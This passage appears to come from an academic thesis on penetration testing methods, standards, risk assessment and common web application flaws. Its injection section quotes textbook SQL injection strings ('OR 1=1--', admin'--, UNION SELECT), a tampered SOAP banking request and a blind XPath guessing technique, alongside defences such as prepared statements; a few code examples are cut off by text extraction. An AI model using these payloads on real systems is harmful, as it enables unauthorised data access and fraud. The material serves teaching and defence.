There are a number of reasons why a penetration test should be conducted. An organization can use the test to firstly protect itself from financial loss connected to fraud or lost revenue caused by a malicious attacker. Depending on the industry a company belongs to, it may be important to comply with industry regulators, as well as customers and shareholders to stay in business. If an organization gains bad publicity due to lack of security, the customers might turn elsewhere. For some industries, following strict security routines is mandatory and can in the worst-case result in prosecution or imprisonment. (Corsaire 2009) Skibell discusses the same topic in detail when stating that attempts have been made, sometimes successful, where manufacturers have been sued for negligently producing insecure software (Skibell 2003).

Additionally, a penetration test can help a business to form their security strategy. It is hereby possible to reveal any security weaknesses and estimate the likelihood and impact they could have for the company. This could subsequently help with setting up a budget for correcting the vulnerabilities. (Corsaire 2009)

To give a more concrete image of why penetration testing is imperative to any company with online resources WhiteHat Security has recently presented statistics regarding common security flaws in web applications. WhiteHat Security discusses the difference of the top web vulnerabilities versus the most meaningful ones. For example, a website could contain one hundred cross-site scripting weaknesses while another site has none of this type. Top lists are hereby often based on the total amount of vulnerabilities, which does not have to mean that they are the most meaningful ones. A more interesting rating is therefore vulnerabilities listed by likelihood as is shown in Figure 2.2. By presenting the data in this way, the security threat can be depicted in a more accurate sense where attention can be focused efficiently on the vulnerabilities with the largest likelihood. (WhiteHat Security 2007, p.3)

![Figure 2.2 Likelihood of vulnerability](image)

Another relevant piece of statistics from the same source shows the prevalence of a certain vulnerability among other security flaws, depicted in Figure 2.3. Again, this type of figure aims to show the importance of focusing on common web application flaws for a more beneficial testing result that can be of greater value to the business. (WhiteHat Security 2007, p.3)
Nevertheless, there is a reason why the field of web application security seems inherently insecure. By looking at Figure 2.4, one can see which layers that have been around for a long time and therefore are well-known to penetration testers who can tell what kind of flaws to find in each layer. The well-known layers stretches all the way from third-party web applications to the lowest network section. In the top layer we find custom web applications where access to highly sensitive data is regulated such as credit card numbers, medical and financial records. (WhiteHat Security 2007, p.2)

![Figure 2.3 Frequency of vulnerabilities](image)

2.4.2. Internal versus Third-Party Penetration Testing

In order to have a good outcome of any penetration test, whether it might be performed in-house or by a consultant, the skills of the person who conducts the test will reflect upon the test results. A specific kind of personality is needed to perform the penetration test where the tester truly has to enjoy circumventing other people’s software. (Scambray 2006, p.426) Other qualities are creativity and the ability to carefully analyze the target application (Pfleeger 2007, p.291). Scambray describes how rare it is to find this type of person in any organization, making the argument for internal penetration testing less attractive. The author continues with the fact that a third-party may give impartiality to the test of an internal product. Showing a potential partner that a third-party is involved in the pen-test is often a competitive benefit to the company. Furthermore, there is often a question of whether the company cost-efficiently can provide a good penetration test using only internal staff. A better alternative might be to hire external security professionals to perform the service to achieve higher quality. (Scambray 2006, p.426)

Others claim that there are clear benefits in the use of internal penetration tests as opposed to recruiting external experts. One benefit of in-house testing is the cost...
savings it brings; this saving has to be put next to the return of the investment of the internal test. One can hereby compare the result to the cost estimated of an external test to see if the right decision was made in terms of price and quality. (Ferrell 2010)

Another benefit of in-house testing is the focus that it brings to the internal staff. During an internal penetration test, the staff needs to keep track of vulnerabilities and constantly monitor the system at the same time as they are sharpening their skills in the area. This will work if the staff is able to stay focused but fail if this is not the case. To additionally help the employees in their in-house pen-tests, various tools made for vulnerability assessments such as Nessus and Metasploit can be used to facilitate the test. One downside is that not all security flaws are visible in the tools. Moreover, if the tools are used improperly, this can damage the testing target. (Ferrell 2010)

2.4.3. Criticism
Some claim that there is no way of labeling an application as safe due to the increase of ill-defined software systems. Dijkstra stated this in his “A Discipline of Programming” as early as 1976:

“...the whole notion of a correct program – let alone a program that has been proved to be correct – becomes void.” (Dijkstra 1976, p.202)

Wright continues from the argument laid out by Dijkstra to say that a penetration test has a limited value as the nature of any security test is restricted by time and funds. If a penetration test is performed where no vulnerabilities are found, this is by no means a proof that the system is secure. (Wright 2007)

2.4.4. Risks
In certain situations and industries, great care has to be taken when performing a penetration test. In fact, following some security experts, there are systems that should never be exposed to these kinds of vulnerability tests. One has to perceive with great care when dealing with facilities such as power plants and gas refineries. In some cases, the actual infrastructure has been too risky to test, which is why a copy of the real system has been made that could be tested in a safe environment. (Mejia 2010, p.3)

A penetration testing is a very labour-intensive activity that needs to be performed only by security staff with knowledge of their area; if this is not the case, the system may be damaged during the test. Even when experienced staff performs the test, there is still a risk involved that could leave the target system inoperable. A minimum defect on the system expected during a penetration test is a noticeable slow-down of the corporate network during a vulnerability scan. (Wack 2003, pp.3-11, 3-12)

2.5. Methodologies and Standards
Apart from all of the penetration testing methodologies that can be found at companies’ security departments there are various methodologies available to the general public. These are in turn described in this section.

2.5.1. Open Source Security Testing Methodology Manual (OSSTMM)
If one tried to find a common security testing methodology as late as the end of December 2001, the only information that could be found was methodologies owned by companies who did not wish to share their method with anyone. To give a solution to the problem, the development of the Open Source Security Testing Methodology Manual started to take place. The aim was to create a security testing methodology that
anyone could access and contribute to. The methodology was especially popular among small and newly established security companies who needed to be able to assure their clients of their security testing methods with a public source. Today, the OSSTMM is the de facto standard that has gained respect and acceptance from most of the existing government auditing organizations. Furthermore, the methodology is the standard when writing reports for the security-testing field. (Long 2004, p.421)

OSSTMM could earlier be found on the domain ideahamster.org where it was maintained. As ideahamster.org grew in popularity, the founders felt a need to change their name and in 2002 the organization became known as the Institute for Security and Open Methodologies (ISECOM). The seal ISECOM was primary registered in Spain and the U.S. as a non-profit organization; today ISECOM is seen as an organization that is owned and maintained by whoever uses the OSSTMM. Besides providing a methodology and rules for penetration testers, OSSTMM also contains information in the areas of quantifying results and project planning. OSSTMM has been criticized for not being academic enough in their documentation; however, the aim is not to fulfill university status but to be used. (Long 2004, p.421)

OSSTMM holds test cases that are organized in five sections where they typically test (ISECOM 2010):

- controls for information/data
- the level of security awareness among the staff
- control levels on fraud/social engineering
- networks for computing and telecommunications
- wireless equipment and mobile devices
- controls regarding physical access security
- processes for security to physical locations such as
  - a certain office building, restricted area or military base

2.5.2. National Institute of Standards and Technology (NIST)

The National Institute of Standards and Technology (NIST) is a federal, non-regulatory agency and belongs to the U.S. Department of Commerce. Their aim is to improve measurement standards and technology in order to advertise industrial competitiveness and innovation within the U.S. (NIST 2010a)

NIST has published a number of documents in the 800 Series named Special Publications. All of the documents contain information in various areas within the computer sector that may be of general interest to the computer community. The SP 800-115 with the name “Technical Guide to Information Security Testing and Assessment” is a methodology from September 2008 intended to guide penetration testers throughout an assessment. (NIST 2010b)

2.5.3. Information Systems Security Assessment Framework (ISSAF)

The Information Systems Security Assessment Framework (ISSAF) belongs to the Open Information System Security Group (OISSG), a non-profit organization that strives to raise security knowledge and awareness (ISSAF 2009). OISSG arranges conferences, workshops as well as national and regional events to build a knowledge base for security (OISSG 2008). The framework ISSAF organizes data regarding information system security assessment into different domains and has a goal to give field inputs within the area. The main use of the framework is to help other organizations with their security assessment requirements. ISSAF can also be used as a reference when an organization needs to meet certain needs within information security. Some other goals taken given by the framework are (ISSAF 2009):
- Locating faulty configurations and correcting these
- Observe security flaws related to a specific technology and suggest its solution
- Recognize risks processes regarding people or business and address the problem
- Enabling current processes and technologies to become stronger
- Improve performance of security assessments by educating the people involved

2.5.4. **Payment Card Industry (PCI)**
The Payment Card Industry is responsible for everyone who stores, processes and/or transmits data connected to the cardholder. This applies to all service providers and merchants that deal with some sort of cardholder information. (Corsaire 2009) The PCI Standards Council was first started in 2006 and are responsible for educating, manage and develop Security Standards for the PCI. Some existing standards are (PCI 2010):

- Data Security Standard (DSS)
- Payment Application Data Security Standard (PA-DSS)
- Pin-Entry Device (PED) Requirements

2.5.5. **Information Systems Audit and Control Association (ISACA)**
The Information Systems Audit and Control Association (ISACA) is a global organization that was incorporated in 1969 to serve as a centralized guidance and information source. The organization offers a number of services to businesses in the information systems sector where practical guidance and benchmarks are given. ISACA gives governance frameworks as well as certifications to its 86,000 worldwide members. (ISACA 2010)

2.5.6. **IT Health Check Service (CHECK)**
Due to its highly strict certification process, the IT health check service (CHECK) is de facto standard for penetration testing in the UK. Its goal is to find known security flaws that otherwise could attack the confidentiality, integrity or availability in a computer system. (Corsaire 2009) CHECK is a service given by the Communications-Electronics Security Group (CESG), which is the Information Assurance (IA) arm of the Government Communications Headquarters in the UK. The IA of CESG strives to follow five principles when dealing with electronic transactions (CESG 2010):

- Confidentiality: the assurance that information is private
- Integrity: preventing information from being modified
- Authentication: proving the identity of the person involved in a transaction
- Non-repudiation: preventing the person involved in a transaction from denying participation
- Availability: the assurance that access to data can be provided when needed

2.5.7. **Open Web Application Security Project (OWASP)**
The Open Web Application Security Project is a non-profit charitable organization that is working towards safer application software. All material given by OWASP are labeled open source and can be used for free. (OWASP 2010) OWASP is working on a number of projects where some major ones are listed below (OWASP Project 2010):

- OWASP Top Ten Project: a document describing the top ten security vulnerabilities in web applications
- OWASP WebScarab Project: a web application security testing tool
- OWASP Testing Guide: a description of procedures and checklists for penetrating testing of applications
- OWASP WebGoat Project: a practical training platform for application security

2.6. Attack Trees

To depict the various parts needed to succeed a specific attack, one can use an attack tree. Following Failor, attack trees are

"qualitative or semi quantitative ways of describing the security of a system using a formal methodical approach.” (Failor 2009, p.263)

![Figure 2.5 A simple attack tree](image)

The attack tree consists of an inverted tree structure holding nodes that describe the steps needed for the attack. The goal of the attack is to reach the target, which is represented by the root of the tree. The actual tree may look like the scenario in Figure 2.5. (Steffan 2002, p.3) Some nodes along the way to the target will have an OR condition; this means that an attacker has the choice of either performing one action or another to move a step closer to the root. In the above scenario, the attacker has the choice of either getting remote or local access. (Failor 2009, p.264) The OR-node can in other words occur when either of its child nodes is executed (Steffan 2002, p.3). The AND condition indicates that the attacker has to both get access and be able to guess the password in order to login (Failor 2009, p.264). If the AND-node is going to execute, both of its child nodes need to occur. The top target node in this example is access to a login shell on a target host. (Steffan 2002, p.3)

The attack tree model can be very useful to show the various steps involved in the attack and how they depend on each other. Attack tree planning can additionally be used for calculating risk, cost and probabilities. (Steffan 2002, p.3) The best way of planning the model is to gather a team of individuals with different backgrounds in order to get an expertise group with a wide knowledge in a number of areas (Failor 2009, p.264).

2.7. General Testing Types

The goal of any method used for security testing is to show that the testing object is robust against an attack (Janardhanudu & van Wyk 2009). Depending on the purpose of the penetration test and the target environment, there are different variants of how it will be performed. The three most common divisions of penetration testing methods are white-box, black-box and gray-box testing that are described below.
2.7.1. White-box Testing

White-box testing, glass-box testing (Lewis 2007, p.367) or full knowledge (Scambray 2006, p.398) are some terms describing the same test where the auditor has prior knowledge of how the system works before the test is started. Prior knowledge could for example mean access to the source code or any other type of relevant information to the test. The base of a white-box test consists of giving the auditor full information of how the system is implemented. During this test, the auditor may analyze coding practices, exception and error handling as well as data, control and information flow. The test result can reveal whether or not security functionality has been implemented in the system; it can show if the code follows the intended design and it has the possibility to find security vulnerabilities. (Janardhanudu & van Wyk 2009)

2.7.2. Black-box Testing

Black-box testing also goes under the name of functional testing and can be seen as the opposite testing technique to white-box. In this case, the tester has no knowledge of the internal workings of the target system just like a malicious attacker who would try to bypass the security of the application blindly. (Sauer & Lee 2010a) One can picture the testing object as a black box where the only interaction between the inside and outside is made by inputs and outputs to the object (Lewis 2007, p.367).

There are certain advantages to use a black-box test. Firstly, the test becomes unbiased as the designer and tester are separated from each other. Secondly, the tester is not in need of any programming language knowledge as no source code needs to get reviewed. Another benefit is that the test is performed in the role of a user and not as the designer. (Sauer & Lee 2010a)

One downside of a black-box test is that it may be difficult to set up test cases for the target. A second disadvantage concerns the testing of the input stream to the system; it is simply not possible to test every single stream, which means that some parts of the test will pass through the audit without being inspected. (Sauer & Lee 2010a)

2.7.3. Gray-box Testing

Gray-box testing can be seen as a hybrid between white-box and black-box testing. Some information of the internal workings of the system is revealed to the tester. Therefore, a number of limited test cases are assigned to the known area of the application. The rest of the test is conducted as a black-box test where inputs are given to the system, which return outputs that can be examined. (Davis 2010)

Davis argue that this type of test is a powerful idea with a simple concept in that the tester has some knowledge to how the system operates but, at the same time, stands on the outside trying to break in. (Davis 2010)

2.8. OSSTMM Specific Testing Types

The open source security testing methodology manual discusses six common testing types that any company following their methodology may select when performing an audit. These are explained in turn in this section.

All of the OSSTMM tests are summarized in Figure 2.6, which puts all the various testing types in relation to each other. The y-axis shows the targets knowledge of the attack that is meant to reflect its preparedness of the exploit. The x-axis depicts the penetration testers amount of knowledge of the victim before the attack is conducted. For example, the Double Blind audit will be performed with no prior information given to the attacker or target; the tester performs the audit blindly and the target has not been warned that an attack is about to take place. On the contrary, the tandem audit is an internal test where all information about the attack is given in advance. The Figure 2.6
further shows how the OSSTMM specific testing types can be compared to the more general testing types of white, black and gray-box as it places the audits in accordance to its color. (Herzog 2008, p.16)

![Figure 2.6 OSSTMM testing types](image)

2.8.1. Blind
Blind audits also go under the names ethical hacking, war gaming or role-playing. This type of security testing is performed where the tester has no prior knowledge of the testing subject. The target itself on the other hand knows about the test and has detailed information of how it will be conducted. Blind testing mainly exists to measure the performance of the penetration tester. As a consequence, the depth of the test is highly dependent on the skills of the tester. (OSSTMM 3.0 2008, p.21)

2.8.2. Double Blind
This test is often named black-box audit or simply a penetration test. As with the blind audit, the test takes place where the auditor has no knowledge in advance about the environment that will be tested. However, the target does in this case not know about the scope of the audit or which channels that shall be tested. The double blind audit is conducted to test the skills inhibited by the auditor but also how resilient the target is against an attack with unknown variables. (OSSTMM 3.0 2008, p.21)

2.8.3. Gray-box
The OSSTMM describes a gray-box audit as a test where

"the auditor engages the target with limited knowledge of its defenses and assets and full knowledge of channels."

(OSSTMM 3.0 2008, p.21)

This testing type also goes by the name vulnerability test and is often performed by the target itself to get a self-assessment of the internal system. The target is notified in advance with full information about the test that will be performed. As always, the skills of the auditor and the preparedness of the target to unknown variables are investigated. The main focus point of the gray-box audit is efficiency. (OSSTMM 3.0 2008, p.21)

2.8.4. Double Gray-box
A white-box audit is another name for this type of test. The target receives prior information about the audit such as its time span, breath and depth. However, the channels that will be tested and the test vectors are not given to the target. Efficiency is again the main focus point for the test. (OSSTMM 3.0 2008, p.21)
2.8.5. Tandem
The tandem test is also known as an in-house or crystal-box audit. This test prepares the target of all the details of the upcoming test that will be performed. The aim of the tandem test is to see how strong the target protection and controls are when being attacked. It is hereby important that the auditor is thorough during the execution of the test as full knowledge is given to the system. As the target has been notified of the audit, it is not possible to estimate its preparedness to an attack in this type of test. (OSSTMM 3.0 2008, p.21)

2.8.6. Reversal
The reversal OSSTMM-type test is also known as a red team exercise. Although the target is provided with information of the operational security and processes used by the tester, it does not know when and how the audit will take place. This situation can test how prepared the target is against an attack situation. (OSSTMM 3.0 2008, p.21)

2.9. Team Testing Activities
Other types of penetration testing are performed in a team of security experts that together can use their knowledge to either defend or attack the target. The three different team formations red, blue and tiger team are explained below.

2.9.1. Red Team and Blue Team
The word red team originates from the military where war gaming or conflict simulations are used to test the readiness for an attack of a security infrastructure. The method has been used by both the NSA and nuclear facilities and later on during the 1990s also in computer security systems. The red team consists of the security professionals who carry out the actual attack. There is also a defending team, the blue team, to protect what is being secured. Red team exercises are also performed at cyberwarfare events where the victim typically is an invented company to display the attack. The aim of the simulations, whether they take place at an actual company or an event, is not only to discover vulnerabilities but also to train the security staff. One problem when working on the red team is to make the team players think like a malicious attacker. People who work with security have to be able to think like an intruder to truly understand the threat picture and thereby be able to protect it. (Mejia 2010, p.3)

One might ask what a hypothetical attack can teach security staff and management in protecting their business. Security professionals stress the importance of understanding the risk their company may be exposed to. The director of the Center for Infrastructure Assurance and Security Greg B. White describe the read-blue team exercise as

“...roughly equivalent to army recruits attempting to defend an installation from a group of elite paramilitary forces. Ultimately, the recruits would learn they weren’t ready, but the exercise wouldn’t provide any training to make them ready.”
(Mejia 2010, p.3)

Therefore, the next step after the exercise has been carried out is to assess the result and figure out what the result might mean to the business. What does the risk mean for the company’s economy, staff and customers? When simulating an actual live attack, further insight can be gained from the red-blue team exercise. In this situation, the security experts on the blue team can get real life training in defending the target. (Mejia 2010, p.3)
2.9.2. Tiger Team

There are various views on the accurate definition of a tiger team. Some see it as an obsolete word for penetration testing (Ivanov Denev 2010) while others think that there is a significant difference among the terms. By some sources, it is depicted as a more costly operation with a higher quality than a normal penetration test. It is also said that more than one security expert participates in a typical tiger team, giving the test more knowledge from various security professionals rather than just one expert that usually deals with the penetration test by him/herself. (GNUCitizen 2008)

Tiger teams further exist that cover all areas of security when companies in need of extremely high security are assessed. These tiger teams would not only cover the IT security but would also try to find flaws in the physical security of the premises or try to perform some sort of social engineering to the staff. (Dieterle 2010)

2.10. Web Application Risk Assessment and Management

Every company with an online service may be an attack target. Potentially, there may be various paths in the application that can be exploited by a malicious attacker to damage the business. Some paths can be easily spotted while others are hidden and take longer to find. Figure 2.7 shows the abstract scenario of how an exploit may go from being an attack vector to impact the business. (OWASP Top Ten 2010, p.5)

Just because an application holds some security weakness does not necessarily mean that the owner of the application will go out of business or lose customers, but then again you will never know for sure until you are faced with the scenario. However, there are measures that can help a company with assessing the risks involved in a given vulnerability scenario. By evaluating the likelihood connected to every threat and security flaw, it is possible to estimate the impact it will have on a business system and thereby determine the overall risk. (OWASP Top Ten 2010, p.5)

Methods have been developed in order to facilitate risk estimation. An equation is given by Sima in table 2.1. Every risk factor is given a rating on a scale of 1-10, where 10 is the highest score or the most serious risk. When the factors are multiplied, the overall risk can be estimated. To show how the equation works, three examples are given in Table 2.1. (Sima 2005)
Risk = Value of Asset x Severity of Vulnerability x Likelihood of an Attack

<table>
<thead>
<tr>
<th>Server Type</th>
<th>Equation</th>
</tr>
</thead>
<tbody>
<tr>
<td>E-commerce server</td>
<td>10 (value of asset) x 10 (severity of vulnerability) x 10 (likelihood of an attack)</td>
</tr>
<tr>
<td>E-commerce server</td>
<td>10 (value of asset) x 4 (severity of vulnerability) x 4 (likelihood of an attack)</td>
</tr>
<tr>
<td>Intranet server</td>
<td>2 (value of asset) x 10 (severity of vulnerability) x 6 (likelihood of an attack)</td>
</tr>
</tbody>
</table>

Table 2.1 Risk assessment equation

In the first example, the overall risk factor for the e-commerce server is 1000, which is the highest score possible. The company owning this server can now adjust their risk management strategies and allow more resources to the server in order to reduce the risk. The second example illustrates the same server but with a much lower risk assessment score. This server is only getting 160 points, which can be seen as a moderate risk. The third example estimates the risk of an intranet server with a rather low score of 96 points. Although the server of the intranet is more likely to be attacked than the second e-commerce server, its low score for the value of its assets brings the overall risk score down. If the server has little to protect, there is of course no reason for allocating all the company resources to this part of the computer system. (Sima 2005)

When the risk assessment has been made, risk management can take over to deal with the given results. The risk management process handles the threat picture of the business to protect its assets and ability to operate. The goal of this management strategy is as described by Sima:

“...to provide the optimal level of protection to the organization within the constraints of budget, law, ethics, and safety.” (Sima 2005)

There are a few areas that risk management is especially concerned with. Some of them are default configuration, user input validation, encryption, data storage, session management and maintenance. Extra care needs to be taken in these areas so that the security is not compromised. To consistently try to reduce the threats to a system by performing security risk assessment on a regular basis, one can be more prepared to face a potential attack. This is what security management is all about. (Sima 2005)

2.11. Web Application Security Flaws

As one might realize, there are a large amount of attacks that can be mentioned when talking about web application security. The aim of this section is to describe some of the more common security flaws to show how they operate and what they may achieve.

2.11.1. Code Injection

Any attack that depends on code being inserted into a website for malicious purposes can be placed in the code injection category. This could range from insertion of strings into a cookie to placing argument values in the Unified Resource Locator (URL). The reason for any given code injection attack is the lack of correct input/output data validation where a page trusts the user data to be free from exploitable code. (OWASP: Code Injection 2009)
Code injection spans over dozens of various languages and environments where SQL injection is one of the older exploits. Other common injection types can be found in Simple Mail Transfer Protocol (SMTP), Simple Object Access Protocol (SOAP), Lightweight Directory Access Protocol (LDAP) and the XML Path Language (XPath). The way in which these flaws can be exploited is often similar although the attack parameters may vary. (Stuttard 2008, p.237)

Many languages used for creating web applications are interpreted languages such as SQL, LDAP, Perl and PHP where a runtime component is used during execution to interpret the code and perform its instructions. This means that any user-supplied data becomes a part of the code that is used by the interpreter. When some malicious code is used in an injection attack, the interpreter sees the input as program instructions that executes just like it had been created by the developer of the application. Since a compiler normally generates machine code, code injection is not affecting compiled languages in the same way where the injection does not damage the syntax of the language that enables the attack. (Stuttard 2010, p.238)

The different types of code injection presented in this report are SQL, OS/Command, Scripting language, SOAP, XPath, SMTP and LDAP injection.

2.11.2. SQL Injection
This type of attack belongs to the more general collection of injection attacks. SQL injection uses an SQL query that connects to the back-end database through some input field of the web application to perform the attack. Wherever an application uses predefined SQL commands, there might be a way to perform an SQL injection if the right security mechanisms have not been applied. If the exploit is successful, it is possible for the attacker to read sensitive information from the database. The attacker may also be able to modify the data stored in the database with the use of the SQL commands INSERT, UPDATE and DELETE. Other possibilities are to execute administrator operations, issue commands to the underlying operating system or access a file displayed by the database management system (DBMS). (OWASP: SQL Injection 2010) There are different exploit scenarios; however, the main aim is to be able to run SQL statements other than the ones the programmer intended (Friedl 2005).

SQL injections can be found in any parameter of the application that has some sort of database query, which typically can be found in Cookie values, POST data, URL parameters (Scambray 2006, p.238) and also in Hypertext Transfer Protocol (HTTP) headers (Stuttard 2008, p.244). SQL injections can be found by entering an unexpected character to see how the application behaves. If the application responds with an error instead of suppressing it, a vulnerability might exist. (Scambray 2006, p.238)

In the given example by Stuttard, a basic SQL injection attack is described. The target is an online book retailer application that gives its users the ability to search for books based on title, author or publisher. The query checks the database table books and returns any row where the column publisher is equal to Wiley. (Stuttard 2008, p.241)

```
SELECT author, title, year FROM books WHERE publisher = 'Wiley'
```

User input is inserted into the statement and becomes a part of the query. In this case, the user sets the value for the publisher. If the page is vulnerable to SQL injection, the below input in place of the value Wiley will cause an error. The second example shows the full statement after the user input has been appended. (Stuttard 2008, p.242)

```
Wiley' OR 1=1--
```
SELECT author, title, year FROM books WHERE publisher = 'Wiley' OR 1=1--

Since an apostrophe has been given by the user, which terminates the value of the publisher, it is possible to enter another condition to change the result of the query. The condition OR 1=1-- means that the database will check all rows in the table books where the publisher is named Wiley or where 1 is equal to 1. As the latter is always true, the database will return every single record of the table. The two hyphens (--) at the end of the user-supplied input tell the query interpreter that the rest of the statement should be seen as a comment, which will ignore the rest of the statement. This is necessary as the user input contained a hyphen to terminate the string and the statement itself has another trailing hyphen. If the comment is omitted, the interpreter will see three hyphens in total for the query and give a syntax error. The above example may not seem to have a serious impact on the application; however, imagine if the same attack could be performed to a login form by only submitting admin'-- to the username field. This would ignore the entire line after the username in the below statement. An attacker would hereby be able to login without giving a password. (Stuttard 2008, pp.242-244)

SELECT * FROM users WHERE username='marcus' and password = 'secret'

It may not be as easy to find vulnerable input to a certain form as in the above examples. An attacker sometimes needs to modify the input of the injection attack in order to succeed. In this case, the attacker may use the American Standard Code for Information Interchange (ASCII) characters instead of numbers or concatenation characters to form a string to break out from single quotation marks. Certain characters also have special meaning, which is common to forget when searching an application for SQL injection flaws. In any post data, & and = will be used to form the query string where they need to be URL-encoded as %26 and %3d so that these characters are interpreted the way the attacker intended them to be. Identifying the database type is of great importance if an attacker will succeed with SQL injection as different databases handles e.g. concatenation in different ways. To give an example, injection of the string UNION SELECT @@version, NULL, NULL will give the MySQL version if the used database table consists of three columns. (Stuttard 2008, chap.9)

Some years ago, SQL injections were very common to find. Nowadays, the attack is harder to exploit as developers are more aware of the problem. Currently existing SQL flaws are often hidden in data fields that the user has more trouble to modify. Furthermore, error messages are usually not as informative as they used to be, giving little information about the used database table. However, as developers are being more precautious, the hacker community has invented more powerful and refined techniques for exploitation. Additionally, research is currently being made in the field of SQL injection. (Stuttard 2008, chap.9) For example, security specialists have lately been able to show that the library creation technique of MySQL User Define Function (UDF) can be used to perform remote code execution on applications where stacked queries are permitted (Dzulfakar 2009, p.4).

Although applications protect themselves against common SQL injection attacks, another type of filter bypass named second-order SQL injection can be achieved. The problem occurs when apostrophes are escaped by giving them an extra apostrophe where e.g. the string foo’ would become foo’’. When the data is stored in the database as foo’’ and later fetched by another query, the risk of an SQL injection attack can arise again as the value fetched from the server will be foo’. The string can then cause problems in other statements. This is a problem of input validation that can be avoided through boundary validation that treats all received input as potentially vulnerable code.
Boundary validation is depicted in Figure 2.8 (Stuttard 2008, p.25).

![Figure 2.8 Boundary validation at different stages in an application](image)

As stated by Stuttard, SQL injections are one of the easier security flaws to avoid. However, many developers tend to rely on incorrect or insufficient methods to prevent the injection. (Stuttard 2008, pp.296-300) Stored procedures are said to be a countermeasure against SQL injection. It is true that stored procedures can give benefits regarding the security and performance; however, if the procedure is poorly written, it does not give any security benefits. Even when the procedure is robust, it can present an injection flaw when being invoked unsafely. (Stuttard 2008, p.296)

A better way of preventing SQL injection is to use parameterized queries or so-called prepared statements. The platform used for developing a certain application usually gives support in the API for handling user-supplied input securely. The SQL statement is in this case prepared in two steps. Firstly, the application is giving a structure of the query where placeholders are left for the items of user data. Secondly, the content of every placeholder is specified by the application. (Stuttard 2008, pp.297-298) An example is given in the next code snippet:

```php
$username = "admin' or 1=1--";
$password = "foo";
$sql = $db_connection->prepare("SELECT * FROM users WHERE username=? AND password=? ");
$sql->bind_param("ss", $username, $password);
$sql->execute();
```

The query is not vulnerable to SQL injection although the username has provided malicious input. The result of the query will be the following (Stuttard 2008, p.606):

```
SELECT * FROM users WHERE username='admin’ or 1=1--' AND password='foo'
```

### 2.11.3. OS/Command Injection

Command injection occurs when a certain command is inserted into the application to achieve some undesired effect beneficial to the attacker. Many web applications are vulnerable to this exploit through forms, cookies and HTTP headers due to a lack of any existing or incorrect input data validation. A more specific variation of this vulnerability
is OS injection or OS command injection when the command can interfere with the system level of a computer system. (OWASP: Command Injection 2010)

Over the years, COTS as well as custom-built applications for the web have contained command injection insecurities, especially for interfaces belonging to routers, printers and firewalls but also to administration pages for server control. In PHP, exec is one of the functions that can be used to give commands to the operating system; in ASP, there is the wscript.shell function. These are sometimes used to invoke a specific command to e.g. list the contents of a certain directory. If care is not taken, several other commands can be used by the same method to launch other programs or access files with sensitive information. (Stuttard 2008, p.300)

2.11.4. Web Scripting Language Injection

Scripting languages like PHP, VBScript and Perl give the possibility of dynamic code execution at runtime. This will give a flexible web application that is adjusted to the user’s needs as a visitor can specify what information the page should display. As some commands of these languages can access the underlying operating system, a website containing a code injection flaw can be the way for an attacker to compromise the whole application by owning the server. (Stuttard 2008, pp.307-308)

One example of a function that allows dynamic execution of code at runtime is the eval function in PHP (Stuttard 2008, p.308). Eval takes a string as argument and executes this string as PHP code (php.net 2010b). As any user input could execute with the help of the eval command, one should avoid using this function where it strictly is not necessary. If it is absolutely necessary to use the function, one needs to use the method strip_tags to remove any HTML-tags in the user-supplied data. It is also important to escape certain shell characters and entity quote HTML to avoid characters like | or ; of being used. (Benniestion 2010) In rare examples, such as when a proxy object needs to be generated from Web Service Definition Language (WSDL) data, the method eval() needs to be used. Eval is necessary to make a class definition at runtime; instead, you get the XML definition of the class in order to be able to generate it as a PHP class and later include it. (Joshua Eichorn 2010)

2.11.5. SOAP Injection

The Simple Object Access Protocol (SOAP) lets applications send messages to each other over HTTP (w3schools 2010c). SOAP is a protocol based on XML and is used in web services. Since the base is XML, interoperability between different operating systems and architecture is possible. SOAP defines an XML document so that the sheet can be used when two peers exchange information regarding structure and type. The two peers are typically two applications in a distributed, decentralized environment where the SOAP message typically is sent in a transfer protocol like HTTP or Hypertext Transfer Protocol Secure (HTTPS). (Scambray 2006, pp.268-270)

SOAP messages consist of a SOAP envelope that holds a SOAP header and a SOAP body (Scambray 2006, p.270). The message is embedded in an HTTP POST request and could have the following structure (Stuttard 2008, p.313):

```
POST /transfer.asp HTTP/1.1
Host: wahh-bank.com
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit

<soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope">
  <soap:Body>
```

25
SOAP is vulnerable to code injection if the application takes user input and inserts this into the query directly. If this is the case for the above example, a malicious user could change some fields of the application to achieve some unauthorized action. For example, the ClearedFunds field is set to False in the above message, which could mean that there are not sufficient funds for the transfer. If the user tampers with the request and change it to the following, the transfer could be performed anyway if the application processes the first item of ClearedFunds. (Stuttard 2008, pp.314-315)

FromAccount=18281008&Amount=1430<ClearedFunds>True</Amount><ClearedFunds>1430&ToAccount=08447656&Submit=Submit

SOAP injections are difficult to exploit as you often need to know the structure of the XML located near the data you want to modify. By validating the data that is inserted into the SOAP message, the attack can be prevented. The application should not allow the user to insert any XML metacharacters; these characters should be HTML-encoded so that the XML interpreter sees the characters as data values and not as part of the message structure. HTML-encoding will transfer a character into its equivalent HTML entity; for example, the character < becomes &lt;. (Stuttard 2008, pp.315-316)

2.11.6. XPath Injection

XPath is short for the XML Path Language and is used to locate elements and attributes in an XML document (w3schools 2010d); it can also enable retrieval data from the XML sheet. Usually, the XPath expression indicates how to navigate to different nodes in the XML sheet. While information is being stored in the sheet, XPath is used to access that information when a user requests it. (Stuttard 2008, p.317) The benefit of using XPath is that the XML file does not need to be parsed; instead, the matching nodes can deliver the result to the XPath query (Scambray 2006, p.286).

When the user requests information through an input field, an XPath injection attack might be possible. As for other injection attacks, an application is often vulnerable when the input of the query has not been filtered or sanitized properly. XML documents normally holds configuration information or data used by smaller applications such as short strings for login credentials. (Stuttard 2008, p.317) A user can take advantage of an XPath vulnerability and log in without providing a password in a similar way to a basic SQL injection attack (Scambray 2006, p.286).

There are two sub types of XPath injection: informed and blind. The informed injection type can retrieve information from the XML file by using the substring function of XPath. By testing one character at a time, one can figure out the entire value of a string in the XML document. This requires some prior information about the target XML. If the attacker does not have that, the XPath injection can be done blindly. To figure out a node in the XML document, the substring function of XPath can be used in the following way in a given password field (Stuttard 2008, p.319):
This will give a result if the first letter in the node is a. By testing all letters alphabetically, it is possible to get the entire string for the node letter by letter (Stuttard 2008, p.319).

To prevent XPath injection, user-supplied data should be checked against a white list with acceptable characters allowed in the query. If the character is anything else than alphanumerics, the request should simply be rejected. (Stuttard 2008, p.321)

2.11.7. SMTP Injection

